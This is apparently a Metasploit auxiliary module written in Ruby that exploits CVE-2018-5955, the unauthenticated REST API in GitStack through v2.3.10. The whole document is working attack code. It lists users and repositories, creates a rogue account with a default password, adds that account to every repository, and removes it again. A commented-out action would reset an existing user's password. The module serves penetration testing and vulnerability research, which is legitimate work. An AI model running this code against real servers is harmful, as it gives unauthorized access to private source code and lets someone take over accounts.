GitStack Unauthenticated REST API Requests

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitStack Unauthenticated REST API Requests',
        'Description' => %q{
          This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
          The module supports requests for listing users of the application and listing
          available repositories. Additionally, the module can create a user and add the user
          to the application's repositories. This module has been tested against GitStack v2.3.10.
        },
        'Author' => [
          'Kacper Szurek', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2018-5955'],
          ['EDB', '43777'],
          ['EDB', '44044']
        ],
        'DisclosureDate' => '2018-01-15',
        'Actions' => [
          [
            'LIST',
            {
              'Description' => 'List application users',
              'List' => 'GET',
              'UserPath' => '/rest/user/'
            }
          ],
          [
            'CREATE',
            {
              'Description' => 'Create a user on the application',
              'Create' => 'POST',
              'List' => 'GET',
              'UserPath' => '/rest/user/',
              'RepoPath' => '/rest/repository/'
            }
          ],
          # If this is uncommented, you will be able to change an
          # existing user's password.
          # After modifying the user's password, the user will be
          # added to all available repositories.
          # The cleanup action removes the user from all repositories
          # and then deletes the user... so this action may not be desirable.
          # [
          # 'MODIFY',
          # {
          # 'Description' => "Change the application user's password",
          # 'Create'      => 'PUT',
          # 'List'        => 'GET',
          # 'UserPath'    => '/rest/user/',
          # 'RepoPath'    => '/rest/repository/'
          # }
          # ],
          [
            'LIST_REPOS',
            {
              'Description' => 'List available repositories',
              'List' => 'GET',
              'RepoPath' => '/rest/repository/'
            }
          ],
          [
            'CLEANUP',
            {
              'Description' => 'Remove user from repositories and delete user',
              'List' => 'GET',
              'Remove' => 'DELETE',
              'RepoPath' => '/rest/repository/',
              'UserPath' => '/rest/user/'
            }
          ]
        ],
        'DefaultAction' => 'LIST'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
        OptString.new('PASSWORD', [false, 'Password for user', 'password'])
      ]
    )
  end

  def get_users
    path = action.opts['UserPath']
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['List']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
        mylist -= ['everyone']
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return
      end
      mylist.each do |item|
        print_good(item.to_s)
      end
    end
  end

  def get_repos
    path = action.opts['RepoPath']
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['List']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return nil
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
        return mylist
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return nil
      end
    else
      return nil
    end
  end

  def clean_app
    user = datastore['USERNAME']
    unless user
      print_error('USERNAME required')
      return
    end

    mylist = get_repos
    if mylist
      # Remove user from each repository
      mylist.each do |item|
        path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
        begin
          res = send_request_cgi({
            'uri' => path,
            'method' => action.opts['Remove']
          })
        rescue Rex::ConnectionError, Errno::ECONNRESET => e
          print_error("Failed: #{e.class} - #{e.message}")
          return
        end

        if res && res.code == 200
          print_good(res.body.to_s)
        else
          print_status("User #{user} doesn't have access to #{item['name']}")
        end
      end
    end

    # Delete the user account
    path = "#{action.opts['UserPath']}#{user}/"
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['Remove']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end

    # Check if the account was successfully deleted
    if res && res.code == 200
      print_good(res.body.to_s)
    else
      print_error(res.body.to_s)
    end
  end

  def add_user
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    begin
      res = send_request_cgi({
        'uri' => action.opts['UserPath'],
        'method' => action.opts['Create'],
        'vars_post' => {
          'username' => user,
          'password' => pass
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end
    if res && res.code == 200
      print_good("SUCCESS: #{user}:#{pass}")
    else
      print_error(res.body.to_s)
      return
    end

    mylist = get_repos
    if mylist
      mylist.each do |item|
        path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
        begin
          res = send_request_cgi({
            'uri' => path,
            'method' => action.opts['Create']
          })
        rescue Rex::ConnectionError, Errno::ECONNRESET => e
          print_error("Failed: #{e.class} - #{e.message}")
          next
        end
        if res && res.code == 200
          print_good(res.body.to_s)
        else
          print_error('Failed to add user')
          print_error(res.body.to_s)
        end
      end
    else
      print_error('Failed to retrieve repository list')
    end
  end

  def run
    if ['LIST'].include?(action.name)
      print_status('Retrieving Users')
      get_users
    elsif ['LIST_REPOS'].include?(action.name)
      print_status('Retrieving Repositories')
      mylist = get_repos
      if mylist
        mylist.each do |item|
          print_good((item['name']).to_s)
        end
      else
        print_error('Failed to retrieve repository list')
      end
    elsif ['CLEANUP'].include?(action.name)
      clean_app
    elsif datastore['USERNAME'] && datastore['PASSWORD']
      add_user
    else
      print_error('USERNAME and PASSWORD required')
    end
  end
end